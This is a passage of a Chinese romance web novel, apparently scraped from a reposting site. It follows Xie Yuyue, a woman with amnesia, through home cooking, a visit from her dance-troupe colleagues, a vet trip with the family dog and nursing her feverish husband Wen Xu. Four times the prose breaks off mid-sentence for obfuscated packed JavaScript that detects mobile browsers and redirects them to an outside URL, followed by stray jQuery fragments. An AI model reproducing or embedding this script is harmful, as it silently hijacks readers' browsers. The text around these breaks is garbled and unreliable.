他换上了套手工定制的西装,将领口最后一颗扣子扣上,发丝被打理得整齐,不见晨起时的倦意,眉眼沉稳,气质也内敛许多。
难得见他切换成了上班模式,谢与月忍不住多打量几眼,突然发现他还佩戴了胸针,白金色调的船锚,含蓄优雅,是她才送出去的那枚。
“我今晚不回来吃饭,不用等我。”
目送他离开,谢与月吃过午饭,转头处理起了佛手柑。
先去掉发苦的外皮,把果肉切成薄薄的小片,焯水并浸泡,中途换两次水去除苦味,而后放到锅里,加适量红糖和水,炒至粘稠,冷却后加上蜂蜜装瓶,她最爱吃的季节限定版佛手柑蜂蜜就做出来了。
这方子是她跟自家奶奶学来的,做好的佛手柑蜂蜜放冰箱可以保存挺久,泡水喝或者当成蜂蜜果酱来抹,都好吃。
炒果肉时,她有点寻思过味儿来了。
刚才闻叙是在和她报备行程吗?他见客户就算了,怎么还把她送的胸针也戴上了?
很快,锅里咕噜噜响的声音拉回了她,花了近三个小时的时间,最终也就做了三罐出来而已。
谢与月将它们隐秘地藏进冰箱里,还拿其他东西挡住,避免被闻叙找着。
他看着那么喜欢佛手柑,万一和她抢着吃怎么办。
这可是她的劳动成果,坚决不给他享用,谁叫他当着许庭嘉的面说她也是猪八戒。
忙完这件事,她带上闪电一起,去练舞室拉伸,脑震荡恢复期还没过,她不敢太大幅度,闪电趴在一旁,安安静静午睡。
没过多久,蓦地响起来电铃声,闪电被吵醒了,翻了个身,用它的大金爪子捂住耳朵。
是家里阿姨打来的,她说家里老人刚刚突然腰痛到走不了路,想请假回去照顾老人。
“没事,阿姨您忙吧,老人家身体要紧。”
挂了电话,谢与月一看时间,都快四点了。
阿姨不来做饭,闻叙也不来吃饭,她干脆点了一份肥牛盖饭外卖,在等外卖时,从冰箱里找出食物,煮水烫熟,给闪电做狗饭。
等狗饭做好了,肥牛盖饭也送到了。
她满脸期待地打开来一看,商家饭是给了,却忘把牛给她盖上。
没有肥牛的肥牛盖饭……还能算盖饭吗。
谢与月羡慕地看着正吃得稀里呼噜的闪电,认命地拿起酱油,吃酱油拌白米饭,她很饿了,没空再等新的外卖送到。
饭后遛一会狗,顺带给院子里种的花和一棵半人高的石榴树浇浇水。
忙完这些,就该量量闪电的头围、颈围和耳朵大小了,大致有数后,她神情专注地织起了帽子。
她织东西的速度慢,再抬头时已经是晚上九点多,手里的帽子只是刚刚起了个头。
她拿起手机,给手里织着的帽子拍了一张照,发给江大王。
谢与月:[给我家狗狗织帽子]
谢与月:[等你杀青回来了,我也给你量身搞一顶,要什么色儿的尽管说]
江大王:[谢主隆恩!]
江大王:[你家狗窝有多的名额吗,这里有只大概280个月的]
谢与月:[玩儿去吧你]
她放下手机,客厅空荡荡的。
闻叙上午十点多就出门了,什么客户要见这么久?
有猫腻!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602920|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>指不定这是个抓住他把柄的机会,她兴致勃勃地点开他的聊天框,发起消息。
谢与月:[您今晚住外头那边?]
他消息回得出乎意料得快。
闻叙:[外头没家。我睡大街?]
闻叙:[事情刚忙完。你先睡,大门别反锁,我待会回去。]
把门反锁?
多亏了他提醒,谢与月跃跃欲试,最终还是被良心唤醒,控制住了手。
她收好毛线,打着哈欠去洗澡。哪想到洗完就精神了,半点困意也没有。
而且,好像有点饿了,但是还能忍。
谢与月忍了快一小时,终于忍不住下楼,到冰箱前窸窸窣窣翻吃的。
这边夜里僻静,偌大的屋子,除了她,没有任何声音。
不知怎么的,谢与月凭空生出了些自己在做贼的错觉。
冷冻层的小馄饨已经被吃光了,阿姨还没来得及包新的,剩下的都是需要时间处理的食材,她决定用开水闷碗泡面吃算了。
大晚上的,就应该吃不健康的碳水!
她心安理得找好了借口,从碗柜里拿出个碗,刚一转身,余光撞见个灰乎乎的人影站在楼梯边,当场吓得手一松——
“哐当!”
伴随着碗落地碎开的清脆声,她连忙后退半步,心脏扑通扑通的要出来了。
看清了来人,她冲着那头说道:“闻叙你半夜兼职鬼差啊走路一点声音都没有的!”
难得没跟她呛声,他走了过来,蹲下身子收拾碎碗,“别碰,我来。”
谢与月低着头,看他指尖拾起尖利的瓷片,浮起淡青的脉络,指关节处粉得若隐若现的。
这人态度这么好,本来她应该消气的,可刚被吓到而加速的心跳,没来由得更快了。
他将碎瓷用厚纸片包好,放到单独一个袋里,再找来油性笔写上“内有碎瓷片”,这才丢到垃圾桶内。
他做这些时,谢与月没说话,眼睛跟着他打转,他走哪儿,她的视线就跟到哪儿。
很快,她还是经不住开口,“你不是早回来了吗,现在不应该在睡觉?”
“睡不着,下来走走。你饿了?”
“饿了。”她坦诚回答,还强调道,“很饿。”
“想吃什么?”
“烤羊腿肉。”她报菜名时,眼控制不住又偷偷瞄了他的手一眼,“最好是嫩羊羔。”
“挺敢想。建议你现在回去睡觉,找个大草原拌着一块吃。换个,食材要冰箱里有的。”
她也不知道在想什么,连冰箱都没重新打开看一眼,“我吃面就行。”
一下子就从烤羊腿降级到吃面就行了,半点别的要求都没提。
闻叙干脆自由发挥,从冰箱拿出葱、香菜、紫菜、虾皮,给她做一碗快手的酸汤面。
鸡蛋和青菜都煮熟后,锅里煮起了面条,他拿出两个碗,调起了料底,谢与月凑到一旁看着,“你对我还挺好。”
他回答的语气平静,“我可不想被扣上虐待病号的骂名。”
她心底莫名升起来的一点异样感全给打破了,“指桑骂槐呢?你跟你哥真的,一个春天一个冬天。”
他手一顿,不小心多放了醋。
她立马道:“这碗你的。”
闻叙这下是真无语了,“我哥如沐春风,那你去找他给你做饭?”
“那还是算了吧,你哥做的饭谁敢吃,命都能没半条。”
“其实闻叙,我真想不明白,你又会做饭又能赚钱长得也好,肯定不愁找对象,找谁结婚不好,干嘛答应妈妈跟我结婚?”
“脑子坏了吧。”他答道。
这下轮到谢与月沉默了。
这人挺行,狠起来自己都骂。
11. 第 11 章
闻叙下的面是好吃的。
夜已经深了,两人面对面坐着,一人面前一碗酸汤面。
这碗酸汤面汤底非常清透,卧着个溏心鸡蛋,做法简单到十分钟就能做完,味道却不错。
最主要的还是谢与月饿了,吃什么都好吃,她还顺带喝了点汤,很开胃。
在食物方面,她一向是捧场的,“好吃。你什么时候学的?以前都没发现。”
他拿起筷子,挑剔地将葱花撇到了一边去,再不紧不慢地拌匀碗里的面,答道:“我有一阵去了美国留学,在那边不摸索着学吃的,迟早会忘了国内正常食物长什么样。”
她回忆了一下,“白人饭啊,我也吃不惯,尝尝鲜还感觉挺有意思,天天吃谁也受不了。”
这话题聊完,夜色的静谧拢了过来,两人吃着面,少有的和谐。
过一会,她又问:“话说你在那边留学,就没抽空谈谈?”
“谈什么?”
“谈恋爱呀!”
“没空,忙着呢。”他拖着调子,懒懒散散地答着。
她也不掩饰,图穷匕见了,“那我俩谈过恋爱吗?还是说直接单刀直入、奉旨成婚?”
“我们俩?谈恋爱?”他尾调上扬地反问,而后道,“您脑子里的剧情,一天天的,挺丰富。”
“谢谢您。”她微笑着回答。
再过一会,她碗底空了,直接把锅和碗筷往洗碗机里一放,留下一句“我吃饱了”,人就溜楼上卧室去了。
她走后没多久,他手无聊地划拉着手机侧边的按键,将碗里酸得过分的汤底倒掉,剩下的面加了点水,搅和搅和吃完了。
他放下筷子,院里矮小的石榴树正无声吮吸着地里的水分,风一过,摇摇晃晃,守着宁静的夜。
阳台边,借着地灯的微光,谢与月遥遥欣赏着这么棵小树,直到皮肤逐渐感到了夜里的凉,这才回到房里,待手心稍暖后,继续写起了日记。
[致二十四岁的我:
原来我们家早被卖给小叔了。虽然买房子的人是我们小叔,但你当时也一定很难过吧。
对了,中秋快乐!终于听到妈妈声音了!好想快点见到他们。
ps.虽然但是,怎么有人的指关节会是粉的?
pps.有点好看。]
-
早上八点,谢与月一脸严肃地看着手机。
她的备用机第一次收到了私聊消息,来自一个微信名叫做“O”的人。
[O:线索已经整理成报告并提交了]
[O:后续有进展再和你说]
她没猜错,自己果然还藏着秘密。这个线索是什么?整理成报告提交给谁?
私聊的记录全是一片空白,她找不到答案,心底跟被小猫挠了似的,痒乎乎的,却没有一点儿办法。
最重要的是,她不清楚对面的人到底是谁,是否能告知对方自己失忆的事情,一切得谨慎行事。
于是,谨慎的谢与月思索许久,在键盘敲敲打打,回了对方一个冷漠的好字,还顺带在后面加了个句号以示郑重。
过会,她想了想,又谨慎地发一条出去。
谢与月:[那边怎么答复?]
发完后,她期盼对方能多透露点东西过来,可是对方也很谨慎,只回了她一句“让我们等,我会跟进,放心”。
压根猜不出什么来。
谢与月失望极了,却还是锲而不舍的,将这手机里的软件翻了个遍,依旧半点头绪都没。
她这小号就加了两个人,另外一个名字叫做“士口”,聊天记录也是空白。
这时,她另一部手机响起了铃声,一时间事情都挤在一起出现了。
是几个过去和她玩得好的舞团同事,说待会要一块来看看她,问方不方便。
谢与月答应了,忙从床上蹦起来,换一身得体的衣服,下楼做早餐。
刚到楼下,她忽然注意到地板上多了滩可疑的水渍,仔细一看,是闪电的尿的。
它正心虚地躲在一旁,耳朵耷拉,抬演看她,对上视线后又立马移开了。
她蹲下身子,摸摸闪电的头,“我知道你不是故意的,对不对?”
闪电挺乖的,她借住闻家的那段时间,它会在院后草坪定点如厕,从没乱拉过,估计是有点其他的原因。
安慰好内疚的闪电,谢与月将那滩痕迹处理干净。
今天是休息日,但闻叙工作上有事处理,走之前给她发了消息,说他早上走之前喂过闪电了,让她中午自己吃。
对他来说,这样的报备似乎已经是日常了。
她决定和闻叙说一下闪电的事。
谢与月:[刚闪电尿地上了,要不要去医院检查看看?]
抻抻睡得发懒的身子,该到厨房做早餐吃了。
昨晚她偷摸摸学了闻叙的酸汤面配方,方法很简单,可以很轻松复刻出来。
就是不知道为什么,没有昨晚那碗那么对味儿,总感觉少了点什么。
有医嘱在,加上没有演出排练任务在身,她复查过后,和领导请了长假,没想到同事们会特地过来探望她。
幸好闻叙不在家,要不然还挺尴尬,还得在同事面前和他演夫妻。
同事来的时候,她正在给院子角落的石榴树浇水。
一共来了三人,一位是之前出院时告诉她住址的余暖姐。
另一位她也认识,是之前在北舞的同学,方清渠。
刚上大一时,有个期末作业,他俩被老师安排成了舞伴,要求两人对《梁祝》进行适当的改编。那段时间他们关系挺好的,原来六年后,他们还成同事了。
另外一位同事是杨凝姝,这位谢与月不认识,应当是她在舞团新交的朋友。她名字温柔,性格却是豪爽的东北范儿,谢与月一问,才知道她老家就在东北,离长白山不远,难怪她们处得来。
三人来的时候手里满是东西,余暖拿着吃的零食,杨凝姝捧着花束,方清渠提着水果和奶茶,把客厅的茶几放得满满的。
闪电不怕生,见到有客人来,朝几人摇起尾巴,亲昵地凑了过去,享受着陌生人的抚摸。
方清渠给两位一起来的女士让位,没去逗狗,问谢与月道:“你恢复得怎么样了?有记起一些过去的事情吗?”
“根本想不起来,就跟真的十八一样。”
他眼里笑意分明,“这样不也挺好。你有这么年轻的心态,肯定看什么都很有意思,别人想要还没有呢。”
那边两人逗完了狗,也凑了过来,给谢与月说起了她当初刚进舞团的事情。
余暖比谢与月早工作几年,团里的情况门儿清。
“当年啊,你可是我们团长心心念念的苗子,就等着你进来后培养成下个台柱子。只是团长怎么也想不着的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602921|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是,你是个跟我一样的,只管份内的安排,压根就不是个爱争取的,每天排练任务结束了就走。”
这还是谢与月第一次听说自己过去工作的事情,“我是这样的?”
杨凝姝接过了话题,“暖暖姐,你别被她那样儿给骗了。上次我可瞅到她发的那朋友圈,半夜一点,背景是她家的练舞室!”
谢与月震惊地道:“我原来是那种平时摆烂,半夜偷偷卷的人?太坏了吧。”
一时间全笑了起来。
笑完了,方清渠又道:“之前团长找我,说我和你同一届进来,让我多平时劝劝你要有年轻人的朝气……”
几人继续聊着,喝奶茶,吃点心,正开心时,闪电突然不窝在地毯上了,迈着小步子走到门边,尾巴再一次兴奋摇了起来。
围坐在沙发边上的几人,视线也随之落到了门边。
不好。
谢与月有种不太好的预感,别是闻叙来了吧?
大门开了,闪电尾巴摇得更欢了。
此时已经将近正午,光线来得热烈,来人迈着步子进来,而后在门边停住,抬起头,眉眼略动,似是没料到家里会有这么多人。
……还真是闻叙。
谢与月认命站起来,和同事们说道:“这位是我的……老……嗯……先生。”
最后几个字说得怪异。
说完,她脸上挂起了营业意味的假笑,转头对着进门的闻叙道:“不是要忙工作,怎么回来了?这三位是我舞团的同事,过来探望我的。”
在外人面前,他显得格外从容沉稳,朝着三人点头问候道:“三位好。我是与月的先生,闻叙。前段时间她在外住院,幸好有你们在旁帮忙,还麻烦你们特地跑一趟来看她。正好快到饭点了,不如一起吃顿便饭?”
几人就这么到了餐厅里。
去的路上,谢与月避开同事耳目,偷偷戳他的手,极小声地问:“你不是说中午回不来吗?”
同样的,他也配合地压低了音调,有些低沉,还略带了点气声,“看到你发的消息,把事情推了,回来带闪电去趟医院。”
原来是为了他狗儿子。
餐桌上,闻叙细细询问几人的忌口和偏好,周到地点好了菜。
这人在饭桌上挺圆融的,吃饭间,与几人聊起舞团的事情,说他去年看过他们的年度业务考核展演,还聊起了他们前不久的惠民演出,新出的剧目。声调徐徐的,就没有冷场的时候,还顺带给谢与月夹了不少菜,瞧着对她喜欢的菜色都极为了解。
谢与月频频朝他看去好几眼,心中纳闷。
有次在闻家,她偶然偷听到闻云明在给他介绍同龄女孩。
闻云明跟他说,按虚岁算你都23了,别整天忙这这那那的,多和异形相处一下,万一合适呢?
说完,还给他推了一个人的名片,说这个女生是他朋友的女儿,学画画的,还会跳舞、弹钢琴,又文雅性格又好的,让他找人聊聊看。
那时闻叙说的是什么来着?
他说:“爸,我俗,欣赏不来什么画画舞蹈音乐这些阳春白雪的,也不想了解,艺术搞得再厉害,放到我这来看都没有任何区别。以后这些的,你别推给我认识,不感兴趣。对了,和艺术无关的也别推,没空。”
明明说着不感兴趣,现在看上去,倒是对她舞团了解得很,她都不知道什么时候搞了个惠民活动。
12. 第 12 章
一顿饭吃得宾主尽欢,送走三人后就回了家,准备带闪电去医院。
闻叙蹲下身子,给闪电套上狗绳,漫不经心地问道:“刚你那个叫做方清渠的同事,挺眼熟。你以前同班同学?”
“确实是。你怎么会眼熟?”谢与月仔仔细细地回忆着,突然灵光一闪,“好像是见过。就我读大一时,我跟他去看舞剧,刚好碰上了你,当时还……”
话还没说完,她就停了下来,凝视着他那张矜持的脸,安静了几秒后,果断拆穿他黑心的真面目——
“然后第二天我爸妈就打电话问我是不是早恋了,闻叙,当时就是你告的状对不对!”
“你那算未成年早恋,举报早恋,人人有责。再说了,你还得感谢我帮你悬崖勒马。”他手指有一搭没一搭地摩挲着狗绳,即便被当面拆穿,也气定神闲得很。
她忍无可忍,“早你个头!我那是跟他搭了双人舞,去给编舞取材找灵感!”
“双人舞?”他眼眸微微眯起,心间漫起不爽。
谢与月懒得理他了,转而哄着闪电上车。
闪电还以为要出去玩呢,兴奋极了,一直到车子停到了熟悉的医院门口,它开始耍赖,大爪子扒拉在车上,不管怎么哄,硬是不肯下车。
她正想着要怎么办,却见闻叙挽起袖子,左手托住闪电前胸,右手托住后腿窝,就那么将重达82斤的大金毛抱了起来。
闪电的骨架偏大,闻叙把它养得很好,这个体重对它而言是标准体重,不胖不瘦的。
猝不及防地被抱起来,闪电的头拼命晃了几下,把它爹的领口蹭得乱乱的。知道自己违抗不了要被那个白大褂两脚兽摆弄的命运,很快就摆起了烂,乘坐起它爹开的人力二轮。
抱着只大型狗,这人居然看着云淡风轻的,就这么往医院大门走了过去。
谢与月走在他旁边,视线不可避免地注意到他手背凸出的青筋,手臂绷紧的肌肉线条,以及蓬勃有力的肌肉。
看来他的手正使着大劲儿呢,能这么稳地抱起闪电走路,想必此刻核心也一定是收紧的。
核心力量这么强,大概率是有腹肌的,怎么说也得有六块起步吧。
意识到脑袋蓦地冒出的这想法,她一个激灵,飞速地抛掉。
谁想看他腹肌了!
到了医院内,闻叙将闪电放下,整理起略乱的领口。
另一头,医生了解清楚情况后,就用医疗器械做起了检查,这位对闪电十分了解,当年闪电才几个月的时候,她就这边工作了。
“肾脏和膀胱都没事,其他指标也还好。就是牙齿有点松动了,得注意不要让它吃太硬的食物,保护好牙齿……”
闪电每年都有做体检,基本没什么大问题,作为一只老年犬,偶尔出现乱尿的情况也是正常的。
医生根据检查报告,给闪电补充了些营养补剂,而后目光温柔地看着这只伴随着自己整个职业生涯的大金毛,想到它才几个月时的模样,被男孩抱在怀里,乌黑的眼灵动地瞧着四周,俨然不知道这里是可怕的医院,会成为它接下来最大的阴影。
一眨眼,这小狗都已经十八岁了,带它来的男孩也长大成人,和心上人结了婚,年年都一起带着狗来检查。
察觉到可以走了,闪电兴奋得嗷嗷叫,撞着闻叙的裤腿,催促他快带它走。
医生笑了笑,感慨着这天生的一对,目送两人一狗悠悠离开。
-
脑震荡的后遗症在慢慢减轻,谢与月的头晕没有前几天那么频繁了。
带闪电检查后的第二天,闻叙忙碌了起来,连续四天都说不回家吃晚饭。
有时都晚上十点多了,他都没回家。中间还有一天半出差去了,压根见不着人影,闪电都是她在带。
即便这样,家里各种东西的摆放依旧整齐规整,被她移位的东西,第二天一定会回到原位。茶几上不知道什么时候还多了个白玉茶杯,跟闻云明茶室的那个长得很像,挺漂亮的。
没办法高强度练舞,谢与月无聊得很。一无聊,就对过去六年的记忆产生了些好奇,可除了晚上偶尔做一些醒来就忘了的噩梦,压根就没有任何记忆回归的迹象。
这天下午,天空昏暗,很快就有狂风暴雨而至,闪电划过,雨点噼里啪啦地砸下来,强对流来了。
这天气不太好点外卖,她想起来冰箱里放的三罐佛手柑蜂蜜。
她随手打开冰箱,看到自己的三罐佛手柑还被好好地藏在角落,放下心,将挡在罐子前面的铁盒子推开,拿出最靠外面的一罐。
等等。
她凝神一看,液体高度和她最开始装瓶时的不太一致。有点低了。
可能是这次佛手柑下得多,果肉吸收了蜂蜜。
她也没细想,拧开瓶盖,用干净勺子舀出两小勺来,加水冲泡,得到了一杯酸甜口的佛手柑蜂蜜水。
下雨是最适合织毛线的,谢与月拿出给闪电织到一半的帽子,继续编。
这场雨去得快,还没到傍晚就停了,推开大门,被雨浇凉的空气裹了进来,她穿得少,被冷得一颤,这下是真的有秋天的感觉了。
雨下得太大了,她有些担心院子里种的那棵石榴小树。
其实要说是树也牵强,它也就高七八十厘米。九月是石榴果成熟的季节,这棵小树没长果,枝叶倒是开得茂盛。
刚见到时,她就喜欢上了它,每次给它浇水时,她总感觉它正在努力长高长大,以后会是最强壮的那棵石榴树。
这想法来得莫名其妙的,但不妨碍谢与月对它格外照顾,期待它真能长成一棵树的样子。
这场雨并没有给石榴带来什么威胁,落了几片本就松垮的叶子,枝干都好好的。
睡前,谢与月照例写着日记,而后早早便睡了。
也不知道是凌晨几点,半梦半醒间,未曾反锁的门泻了一道光进来。以为自己还在做梦,她并没有什么反应,闭上眼继续睡觉。
高大的人影到了床边,往床上一栽,便躺到了她身旁。
过一会,来人长臂一捞,将她抱进怀里,顺带抢走了这张床唯一的枕头,呼吸间还漫着十分浅淡的酒气。
失去枕头,谢与月迷蒙蒙地睁开了眼,发现自己的脸正贴在一片缓慢起伏的胸口上。
来人本该穿得规整的家居服没扣好,胸前敞了一小半,而她的脸就贴在这一小半上,清晰地体会着不属于她的温度。
原来还在做梦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602922|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她困得懒得动弹,头也晕,继续眯眼睡了。
但她潜意识清楚知道这人就是闻叙,于是温热的手往下,自他衣服下摆钻进去,指尖在紧致的肌肉上划过,可以感觉到下方分布是一块一块的,再使一点劲儿去摁,发硬。
她果然没猜错!闻叙果然有腹肌嘛,一摸就像是练过的,排列很整齐,摸着像是六块。
感谢完特地派闻叙来梦里解惑的周公,她正想心满意足地收回手,一只大手却抓住了她手腕,头顶传来低低的一声,“别玩了。困,先睡觉。”
她感受到了胸腔的震动,手腕交握处的热意,头顶浅浅的气流。
真实度百分百。
这梦真好,下次还做。
她迷糊想着,缩进他怀里,睡着了。
睡到后半夜,她嫌他越来越热,像个火炉在烧,扭头翻身自己睡,再顺带把被子抢过来,这下温度刚好,沉沉睡到闹钟震动。
震动?不对,她没设闹钟的。
没等她再想清楚一点,震动便被人关掉了。
五分钟后,又震了一个,没到三秒就再次被关掉。
等到第三次震时,她身旁终于有了动静,窸窸窣窣的。
她翻过身,睁开一只眼去看。
她睡觉不爱拉上阳台窗帘,清早的天光跌进来,他背着光,人一暗,高挑的身形便被勾勒得清晰,碎发微乱,正朝床边的方向偏过头来。
谢与月立马闭上眼,假装还在睡觉,一直到动静响完,卧室门被关上,她才猛地睁开眼坐起来。
令人发指!简直是令人发指!
脑子还没彻底清醒,本来关上的门忽地又开了。
她还没来得及重新装睡,就和闻叙对上了视线。
于是她皮笑肉不笑地说道:“真巧,怎么能在这里遇到你。”
“我来拿东西。”他走进来,拿起顺手放在床头柜上的婚戒,套进左手无名指。
她偷偷观察着他的模样,试图猜测他到底记不记得她昨晚鬼迷心窍犯下的错。
大约是刚晨起,加上昨夜喝了酒,下巴冒起了一点淡青的胡渣,他没什么表情,眼神没有平日的清醒,不知道为什么,整个人的气质都乱蓬蓬的,却叫人感觉近在咫尺。
“你昨晚睡这里?”她此时本来应该站在道德高地质问的,可惜昨夜她干的事,让她根本没有底气这么做。
他揉揉太阳穴,宿醉后头疼得很,回答她的声音懒懒的,“遇上了个非得喝酒的局,喝醉了,没想起来我现在睡次卧。”
她突然想起来,“那你昨晚上床前洗澡了吗?”
他眼神里透着无语,“我像是会不洗澡的人吗。衣服都换了。”
那倒是,这人讲究得很,对自己就更讲究了,胡须一天得刮两次,衣服一定得井井有条,澡当然也是得天天洗。
直到他再度从房里离开,她都没听到他提起昨晚。
应该是醉酒断片不记得了吧……?
她抱住枕头,又想起昨夜的手感,忽然觉得闻叙这人也不是没有可取之处的。
就是不太懂,他昨晚干嘛抢她枕头。
难道他那天说的是真的?真有人睡觉认枕头的啊?
13. 第 13 章
到公司后不久,闻叙就发烧了。
他这人,一到休息时就吊儿郎当的,能不工作就不工作,最讨厌的就是在休假时接到和工作有关的消息。
刚到北望时,他被他爸丢去了投资部负责个项目,那时到了下班时间,还经常有过来骚扰的非紧急事务。这就算了,居然还一人揽了好几人的活,到了下班时间,部门里的员工就没见走的,就连周末还常有人来加班。
所以后来他上位了,第一件事就是从根本处理干净这个乱象,还因为这事上了热搜。闻叙其实挺无奈,这有什么好上的?他不过只是还了员工一个正常工作环境而已。
总之,他是个很讲求效率的人,休息时得好好休息,工作时也得好好工作,正因为此,他压根没注意到自己身体上有什么不舒服,专注审阅文件,逐一签字确认。
一旁的宋特助神色还挺担忧的,在闻叙批完最后一个文件时,他问道:“闻总,您身体是不是不太舒服?”
被这么一提醒,他才后知后觉地意识到掌心比往常更明显的热意,“应该有点发烧。”
宋特助找来温度计,三十八度九。
“有退烧药吗?我吃一片。”
宋助递给他药和水,问道:“三十六分钟后有个战略投资部的会议需要您参加,需要现在请医生来吗?”
“不必,帮我叫赵曲灵和李晟现在过来。”他接过药,小小的一颗胶囊,灌着水吞下后,转而批复起了新增的请示。
三十六分钟后,会议准时举行。闻叙打起了精神,状态如常,没有任何人看出他正生着病。
会议结束后,他中午还去了个合作商饭局,一番连轴转着,宋助连想建议他休息的机会都没有。
下午临近下班时,暂时空闲了几分钟,他突然问宋助道:“体温计呢?”
宋助找到消毒好的温度计拿给他,测完后一看,不仅没降,还往上涨了零点二度。
“你是不是加了我太太微信?”闻叙转了转笔,将笔帽合上又关上。
“是的。要现在联系太太吗?”
他稍一偏头,笔端缓慢地敲击桌面,“你就说我生病了。”
宋助懂了。
他将体温计的温度显示拍下来,发送过去,谨慎地添油加醋。
宋特助:[太太,闻总早上发烧了,就吃了一颗退烧药,忙到了现在,烧得更严重了,怎么都不肯休息。今晚闻总还有个饭局,我也不瞒着您了,这饭局其实是推得掉的。]
宋特助:[发烧不是小事,特别是闻总这种很少生病的,病来如山倒。明天周末,闻总没别的安排,您劝劝他好好休息吧,身体才是最重要的啊!]
收到这条消息时,谢与月刚遛完狗,正在喝蜂蜜水追奇幻恐怖剧。
发烧了?
还真是铁打的,发烧了还能带病工作一整天。
谢与月回复完宋助,想了想,干脆直接打电话给闻叙。
铃声响了几下才接通,她问道:“晚上回来吃饭?”
往日他的声线挺清冽,在这通电话里倒失了真,低哑,带点倦怠,“不回,有个饭局。大概九点半到家。”
“发烧了还饭局呢。”她不管,“你五点下班?要是六点还没见到你,我就去告诉爸爸你把他的茶当水灌。”
闻叙有点头痛了,“威胁人这事,你挺行的。”
谢与月干脆把这当作夸奖了,“反正你早点回来。”
他挂了电话,望向宋助,“……你都跟她说什么了?她让我推掉饭局。”
“我跟太太说您发烧了。”宋助微微笑道,“太太这是关心您,一听到您生病就着急了。”
闻叙心情还不错,往沙发背上靠了靠,说道:“行吧。今晚的饭局推了。”
“是。”
-
等闻叙回家的这段时间,谢与月给江归夏连发了好几条消息。
谢与月:[和你说一件事]
谢与月:[我]
谢与月:[摸到了]
谢与月:[腹肌!]
江大王:[谁的?]
江大王:[你老公?]
谢与月:[对对]
江大王:[你不是讨厌他吗,怎么摸就摸,还这么激动]
谢与月已读乱回:[我们都领证了,摸摸也不犯法吧!!而且我真不是故意的,我当时以为是睡觉在做梦]
江大王:[好好好,不犯法,不犯法,你强吻都可以]
……她都以为是梦了,摸摸怎么了,又没上嘴!
至于江归夏说的那句话,谢与月本来是想忽略的,可又不免有点在意。
对啊。她这么激动做什么!
谢与月想了想,跑到盥洗台前,认真地洗了洗摸过某人的手,这才算是心安理得了。
家里离闻叙公司也就二十分钟不到的车程,就算路上有点堵车,六点还没到,车子便停到了门前。
也许是前一晚喝酒的原因,闻叙这场烧来得急,退得却很慢。较之平时,他唇色稍淡,脖颈浮上了层不大自然的薄红,身上还是件衬衫,在此刻却显得有些单薄了,整个人瞧着挺颓的。
见着了人,谢与月好奇地用手背碰了下他的脸,“还挺烫。”
闻叙正想回答,目光往客厅里一落,两个穿着白大褂的医生正坐在那,桌上放了两个金属医药箱,两双跟灯泡一样的眼,齐刷刷盯着他俩,眼里闪烁着略八卦的光芒。
闻叙:“……”
两位医生是谢与月特地请来的,给闻叙看病。
她是不喜欢闻叙,但不会因为这个而对正生病的人坐视不理。而且她这人有个毛病,一看到有人生病就难受,恨不得对方马上就好。
再说了,他也没干什么伤天害理的事,顶多是性格惹人讨厌了点,何况现在还顶着她丈夫的名头。
医生一走,她去到厨房看了眼,灶台上正开文火炖着一锅粥,她加了很多水,煮之前泡了半小时,大火煮开后又炖了半小时,上层的米汤被炖得略微浓稠,米谷的精华都融到了汤中。
“以前我发烧不退时,我爸就会煮米汤给我喝,说发烧会烧干体内津液,米汤是生津退热的。今天也算是便宜你了,居然能喝上我亲手煮的汤。”
听到她说的,闻叙端着碗的手停了下,而后道:“这是你熬的?”
她还挺得意地嗯一声,“放心吧。我没在汤里下毒,我还不想守寡。”
强撑着工作了一天,发烧带来的难受争前恐后地涌上来,他懒得再跟她争辩守寡这词,双手端着碗,慢慢地将米汤喝完,碗底干干净净的,一滴都没剩。
考虑到有个病人在,晚饭阿姨做得清淡了些,吃完饭,闻叙便回次卧睡觉去了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15605018|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚上九点半,谢与月正在写着日记,放下笔后,想起还有个烧着的病人。
惦记着他是否退烧了,她捎上温度计,决定去次卧进行一场夫妻之间的友好探视。
抬手敲了三下门,没有动静,等了一会又敲了两次,依旧安安静静的。
